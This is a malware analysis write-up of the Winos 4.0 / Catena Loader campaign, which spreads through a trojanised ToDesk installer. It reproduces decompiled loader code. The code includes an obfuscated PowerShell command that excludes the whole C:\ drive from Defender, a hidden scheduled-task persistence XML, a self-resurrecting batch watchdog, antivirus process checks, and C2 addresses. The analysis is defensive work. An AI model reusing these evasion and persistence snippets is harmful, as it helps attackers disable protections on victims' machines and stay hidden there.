Winos 4.0 / Catena Loader
This campaign is a multi-layered malware delivery method involving fake software installers disguised as popular applications like VPNs and browsers. It utilises embedded shellcode and configuration switching to stage malware, like Winos v4.0, entirely in memory.
Analysis starts with an NSIS installer binary called ToDesk_Setup_4.7.6.3.exe (86758fb6c5aa0093741402302a0478dab94992ff5c8426f2bc24c815cdeec08c).
This is a trojanised installer file which writes the legitimate application to: “C:\Program Files (x86)\Application”, as well as a series of shellcode loaders in “C:\Users\User\AppData\Local” and “C:\Users\User\AppData\Roaming\TrustAsia”.
First Loader
insttect.exe (ecd6742f5107215ed10fb7aebca3c35190e9a2a4022dc019f863abdcdd530fa9) - This is our first shellcode loader, which gets executed from the AppData\Local directory.
Setting a breakpoint at CreateFileA calls we can see that the binary creates a handle to Single.ini, which was written to the same directory.
Following along until the next VirtualAlloc call, we can see in the ESI / EDI registers that there is a PE file in memory:
We could dump this executable from memory, alternatively, we can use a tool like Binary Refinery to carve the PE from the Single.ini file:
ef Single.ini | carve-pe | peek
ef Single.ini | carve-pe | dump C:\Users\DFIR\Desktop\carved-dll.dll
Continuing with debugging we can see that the DLL is called with the VFPower export.
Shortly after we notice the following mutex creation:
A reference to the CreateToolhelp32Snapshot API
And there is a reference to 360Tray.exe
Taking a look at IDA, there’s the following function:
.text:100091CB loc_100091CB: ; CODE XREF: .text:10009163↑j
.text:100091CB mov eax, off_10022D84
.text:100091D0 movzx eax, byte ptr [eax-758C082Ah]
.text:100091D7 mov ecx, off_10022B44
.text:100091DD add ecx, edi
.text:100091DF xor eax, 1
.text:100091E2 push eax
.text:100091E3 push offset dword_1001D176
.text:100091E8 push esi
.text:100091E9 call ecx
.text:100091EB add esp, 0Ch
.text:100091EE mov eax, off_10022B30
.text:100091F3 add eax, edi
.text:100091F5 mov ecx, esi
.text:100091F7 lea esi, [ebp-54h]
.text:100091FA push esi
.text:100091FB call eax
.text:100091FD mov eax, off_10022B14
.text:10009202 add eax, edi
.text:10009204 lea ecx, [ebp-60h]
.text:10009207 lea edx, [ebp-3Ch]
.text:1000920A push edx
.text:1000920B call eax
.text:1000920D nop dword ptr [eax]
dword_1001D176 is a list containing the following strings:
- 360Tray.exe
- 360LogCenter.exe
- 360Safe.exe
- 360speedld.exe
- LiveUpdate360.exe
The loader loops through the running processes by using CreateToolhelp32Snapshot and Process32Next, and for each process name it calls StrStrIW to check if it matches any of a hardcoded list of strings belonging to the 360 Security suite - a popular Chinese antivirus product.
Second Loader
The second loader gets written to “C:\Users\User\AppData\Roaming\TrustAsia”.
intel.dll (83E9E41137F05CB4DE5710E2EC581E7EF66097FBF68B28A980F15015F8175B60)
This shellcode loader is responsible for executing a DLL contained within Config.ini (Or Config2.ini depending on the presence of a specific file).
Similar to the first loader, these .ini files contain a DLL that can be carved and dumped to disk. As the loading is so similar to the first, I will just carve the DLL and focus on that.
The most notable function is the following, which is responsible for C2 communication:
WSAStartup(0x202u, &WSAData);
pHints.ai_flags = 0;
memset(&pHints.ai_addrlen, 0, 16);
pHints.ai_family = 2;
pHints.ai_socktype = 1;
pHints.ai_protocol = 6;
while ( 1 )
{
v5 = getaddrinfo(pNodeName, "18852", &pHints, &ppResult);
if ( !v5 )
{
for ( i = ppResult; i; i = i->ai_next )
{
s = socket(i->ai_family, i->ai_socktype, i->ai_protocol);
if ( s != -1 )
{
v5 = connect(s, i->ai_addr, i->ai_addrlen);
if ( v5 != -1 )
break;
closesocket(s);
s = -1;
}
}
freeaddrinfo(ppResult);
if ( s != -1 )
break;
}
Sleep(0xBB8u);
}
Essentially the value of pNodeName is what we are after, as that is the C2 address that is being contacted by this loader over port 18852
As it’s a global variable we can follow it in IDA and see that is resolves to: 120.89.71[.]130
So our C2 / downloader address is 120.89.71[.]130:18852
Additional Functionality:
Instantly it’s clear that a Mutex with the value “zhuxianlu” is created.
StartAddress is responsible for creating a Defender exclusion for the entire C:\ drive:
v15 = a1;
v16 = retaddr;
v14 = -1;
v13 = &loc_1003A1F0;
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
*(_DWORD *)&v11[6] = &v17;
cv = _Cnd_internal_imp_t::_get_cv((_Cnd_internal_imp_t *)&v9);
qmemcpy(
v10,
"/C powershell -Exe\"\"cutionPolicy B\"\"ypass -Command \"Add-MpPreference -ExclusionPath 'C:\\'\"",
sizeof(v10));
v1 = (int *)unknown_libname_3(v10, v11);
v2 = *v1;
v3 = v1[1];
v7[3] = v2;
v7[4] = v3;
sub_10017C30(v2, v3, cv);
v14 = 0;
sub_1000A630(v5, v7);
v14 = -1;
sub_10017C10(v7);
v6.cbSize = 60;
memset(&v6.fMask, 0, 0x38u);
v6.fMask = 64;
v6.hwnd = 0;
v6.lpVerb = "open";
v6.lpFile = "cmd.exe";
v6.lpParameters = (LPCSTR)sub_10004420(v5);
v6.lpDirectory = 0;
v6.nShow = 0;
if ( ShellExecuteExA(&v6) && v6.hProcess )
{
WaitForSingleObject(v6.hProcess, 0xFFFFFFFF);
CloseHandle(v6.hProcess);
}
sub_1000AB80
Contains two base64 encoded blobs which are responsible for persistence via a scheduled task
Decoded Output:
$xmlPath = "XML路径"
$taskName = "任务名称"
$xmlContent = Get-Content -Path $xmlPath | Out-String
$taskPath = "\Microsoft\Windows\AppID\"
Register-ScheduledTask -TaskPath $taskPath -Xml $xmlContent -TaskName $taskName -Force
<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.3" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
<RegistrationInfo>
<Date>2006-11-10T14:29:55.5851926</Date>
<Author>Microsoft Corporation</Author>
<Description>更新用户的 AD RMS 权限策略模板。如果对服务器上模板分发 Web 服务的身份验证失败,此作业将提供凭据提示。</Description>
<URI>\.NET Framework NGEN v4.0.30325</URI>
<SecurityDescriptor>D:(A;;FA;;;BA)(A;;FA;;;SY)(A;;FRFX;;;WD)</SecurityDescriptor>
</RegistrationInfo>
<Triggers>
<LogonTrigger id="06b3f632-87ad-4ac0-9737-48ea5ddbaf11">
<Enabled>true</Enabled>
<Delay>PT30S</Delay>
</LogonTrigger>
</Triggers>
<Principals>
<Principal id="AllUsers">
<GroupId>S-1-1-0</GroupId>
<RunLevel>HighestAvailable</RunLevel>
</Principal>
</Principals>
<Settings>
<MultipleInstancesPolicy>Parallel</MultipleInstancesPolicy>
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
<StopIfGoingOnBatteries>false</StopIfGoingOnBatteries>
<AllowHardTerminate>false</AllowHardTerminate>
<StartWhenAvailable>true</StartWhenAvailable>
<RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
<IdleSettings>
<StopOnIdleEnd>true</StopOnIdleEnd>
<RestartOnIdle>false</RestartOnIdle>
</IdleSettings>
<AllowStartOnDemand>true</AllowStartOnDemand>
<Enabled>true</Enabled>
<Hidden>false</Hidden>
<RunOnlyIfIdle>false</RunOnlyIfIdle>
<DisallowStartOnRemoteAppSession>false</DisallowStartOnRemoteAppSession>
<UseUnifiedSchedulingEngine>true</UseUnifiedSchedulingEngine>
<WakeToRun>false</WakeToRun>
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit>
<Priority>7</Priority>
<RestartOnFailure>
<Interval>PT1M</Interval>
<Count>16</Count>
</RestartOnFailure>
</Settings>
<Actions Context="AllUsers">
<Exec>
<Command>r""e""g""s""v""r""3""2.exe</Command>
<Arguments>运行参数</Arguments>
</Exec>
</Actions>
</Task>
sub_1001A4E0
This function appears to monitor for execution of WhatsApp.exe or Telegram.exe, and upon detecting these processes, will create a file at %Roaming%\TrustAsia\Temp.aps and subsequently execute “intel.dll,DllRegisterServer” - this is the same loader, but it’s important to note that the presence of Temp.abs will alter it’s behaviour to instead execute Config2.ini over Config.ini
v60 = a1;
v61 = retaddr;
v59 = -1;
v58 = &loc_1003A1C7;
ExceptionList = NtCurrentTeb()->NtTib.ExceptionList;
v56 = &v62;
v55 = 0;
v27 = sub_1000A6E0((int)v16, 26);
v26 = v27;
v59 = 0;
sub_10007E30((int)v19, v27, "\\TrustAsia\\");
LOBYTE(v59) = 2;
sub_100044D0(v16);
sub_10018750(v21, v19, "Temp.aps");
LOBYTE(v59) = 3;
do
{
Sleep(0x3A98u);
cv = _Cnd_internal_imp_t::_get_cv((_Cnd_internal_imp_t *)((char *)&v45 + 3));
qmemcpy(v52, "Telegram.exe", sizeof(v52));
v1 = (int *)unknown_libname_3(v52, &v53);
v2 = v1[1];
v34 = *v1;
v35 = v2;
sub_10017C30(v34, v2, cv);
LOBYTE(v59) = 4;
v55 |= 1u;
v24 = sub_1000A630(v15, v23);
v43 = v24;
v59 = 5;
v55 |= 2u;
if ( (unsigned __int8)sub_1001A390(v24) )
goto LABEL_7;
v42 = _Cnd_internal_imp_t::_get_cv((_Cnd_internal_imp_t *)((char *)&v45 + 2));
qmemcpy(v50, "telegram.exe", sizeof(v50));
v3 = (int *)unknown_libname_3(v50, &v51);
v4 = v3[1];
v32 = *v3;
v33 = v4;
sub_1001B010(v32, v4, v42);
v59 = 6;
v55 |= 4u;
if ( (unsigned __int8)sub_1001A390(v17) )
goto LABEL_7;
v41 = _Cnd_internal_imp_t::_get_cv((_Cnd_internal_imp_t *)((char *)&v45 + 1));
qmemcpy(v48, "WhatsApp.exe", sizeof(v48));
v5 = (int *)unknown_libname_3(v48, &v49);
v6 = *v5;
v7 = v5[1];
v30 = v6;
v31 = v7;
sub_1001B010(v6, v7, v41);
v59 = 7;
v55 |= 8u;
if ( (unsigned __int8)sub_1001A390(v18) || (unsigned __int8)sub_1001A4A0(v21) )
LABEL_7:
v44 = 1;
else
v44 = 0;
v54 = v44;
v59 = 6;
if ( (v55 & 8) != 0 )
{
v55 &= ~8u;
sub_100044D0(v18);
}
v59 = 5;
if ( (v55 & 4) != 0 )
{
v55 &= ~4u;
sub_100044D0(v17);
}
v59 = 4;
if ( (v55 & 2) != 0 )
{
v55 &= ~2u;
sub_100044D0(v15);
}
v59 = 3;
if ( (v55 & 1) != 0 )
{
v55 &= ~1u;
sub_10017C10(v23);
}
}
while ( !v54 );
if ( !(unsigned __int8)sub_1001A4A0(v21) )
sub_1001A420(v21);
Sleep(0x3E8u);
v40 = _Cnd_internal_imp_t::_get_cv((_Cnd_internal_imp_t *)&v45);
qmemcpy(v46, "cmd /c run\"\"dll32.exe ", sizeof(v46));
v8 = (int *)unknown_libname_3(v46, &v47);
v9 = *v8;
v10 = v8[1];
v28 = v9;
v29 = v10;
sub_10017C30(v9, v10, v40);
LOBYTE(v59) = 8;
v39 = sub_1000A630(v13, v22);
v38 = v39;
LOBYTE(v59) = 9;
v37 = sub_10018650(v14, v39, v19);
v36 = v37;
LOBYTE(v59) = 10;
sub_10007E30((int)v20, v37, "intel.dll,DllRegisterServer");
LOBYTE(v59) = 9;
sub_100044D0(v14);
LOBYTE(v59) = 8;
sub_100044D0(v13);
LOBYTE(v59) = 3;
sub_10017C10(v22);
v11 = (const CHAR *)sub_10004420(v20);
WinExec(v11, 0);
sub_100044D0(v20);
LOBYTE(v59) = 2;
sub_100044D0(v21);
v59 = -1;
return sub_100044D0(v19);
}
Below is the code from the initial intel.dll loader which executes either Config.ini or Config2.ini depending on the existence of Temp.abs:
qmemcpy(v27, "Temp.aps", 8);
v2 = sub_10044DA0(v27, &v27[8]);
sub_10046963(*v2, v2[1], v3);
...
v4 = sub_10045702(v33, v31);
sub_100479D1(v4);
CreateMutexA(0, 0, "99907F23-25AB-22C5-057C-5C1D92466C65");
if ( GetLastError() == 183 && sub_10045785(v38) )
{
qmemcpy(&v27[4], "ig2.ini", 7);
v24 = &v28;
}
else
{
qmemcpy(&v27[4], "ig.ini", 6);
v24 = &v27[10];
}
*(_DWORD *)v27 = 1718513475;
sub_1001ADE0
This function appears to act as a kill switch as it checks if a file exists at “\TrustAsia\Exit.aps”, and if it does, the file is deleted and the malware is killed.
void __stdcall __noreturn sub_1001ADE0()
{
const char *v0; // eax
int v1[6]; // [esp+0h] [ebp-44h] BYREF
int v2[7]; // [esp+18h] [ebp-2Ch] BYREF
int v3; // [esp+34h] [ebp-10h]
int v4; // [esp+40h] [ebp-4h]
v3 = sub_1000A6E0((int)v1, 26);
v2[6] = v3;
v4 = 0;
sub_10007E30((int)v2, v3, "\\TrustAsia\\Exit.aps");
LOBYTE(v4) = 2;
sub_100044D0(v1);
while ( 1 )
{
do
Sleep(0x1770u);
while ( !(unsigned __int8)sub_1001A4A0(v2) );
v0 = (const char *)sub_10004420(v2);
remove(v0);
_loaddll(0);
}
}
sub_10002C60
This acts as a self-resurrection mechanism: If the main process crashes or is killed, the .bat detects this & re-executes the malicious DLL.
GetTempPathA(0x104u, Buffer);
v19 = sub_100045C0(Buffer);
v18 = v19;
v20 = 0;
sub_10007E30((int)v12, v19, "target.pid");
LOBYTE(v20) = 2;
sub_100044D0(v10);
v17 = sub_100045C0(Buffer);
v16 = v17;
LOBYTE(v20) = 3;
sub_10007E30((int)v13, v17, "monitor.bat");
LOBYTE(v20) = 5;
sub_100044D0(v9);
sub_100040E0(v13, 2, 64, 1);
LOBYTE(v20) = 6;
if ( (unsigned __int8)sub_10004060(v11) )
{
sub_10007E60(v11, "@echo off\n");
sub_10007E60(v11, "set \"PIDFile=%TEMP%\\target.pid\"\n");
v1 = sub_10007E60(v11, "set \"VBSPath=");
v2 = sub_10008180(v1, a1);
sub_10007E60(v2, "\"\n");
sub_10007E60(v11, "set /p pid=<\"%PIDFile%\"\n");
sub_10007E60(v11, "del \"%PIDFile%\"\n");
sub_10007E60(v11, ":check\n");
sub_10007E60(v11, "tasklist /fi \"PID eq %pid%\" | findstr /i \"%pid%\" > nul\n");
sub_10007E60(v11, "if errorlevel 1 (\n");
sub_10007E60(v11, " regsvr32 \"%VBSPath%\"\n");
sub_10007E60(v11, " exit\n");
sub_10007E60(v11, ")\n");
sub_10007E60(v11, "timeout /t 15\n");
sub_10007E60(v11, "goto check\n");
sub_10004020(v11);
}
v3 = sub_10004420(v13);
sub_100011A0(CommandLine, "cmd.exe /B /c \"%s\"", v3);
CurrentProcessId = GetCurrentProcessId();
sub_100040E0(v12, 2, 64, 1);
LOBYTE(v20) = 7;
if ( (unsigned __int8)sub_10004060(v7) )
{
sub_10004140(CurrentProcessId);
sub_10004020(v7);
}
memset(&StartupInfo, 0, sizeof(StartupInfo));
StartupInfo.cb = 68;
StartupInfo.dwFlags = 1;
StartupInfo.wShowWindow = 0;
memset(&ProcessInformation, 0, sizeof(ProcessInformation));
if ( CreateProcessA(0, CommandLine, 0, 0, 0, 0, 0, 0, &StartupInfo, &ProcessInformation) )
{
CloseHandle(ProcessInformation.hProcess);
CloseHandle(ProcessInformation.hThread);
}
Config2.ini
Similar to Config.ini but only executed if WhatsApp or Telegram processes are detected, the DLL embedded into this file calls out to a different C2: 43.226.125[.]17:443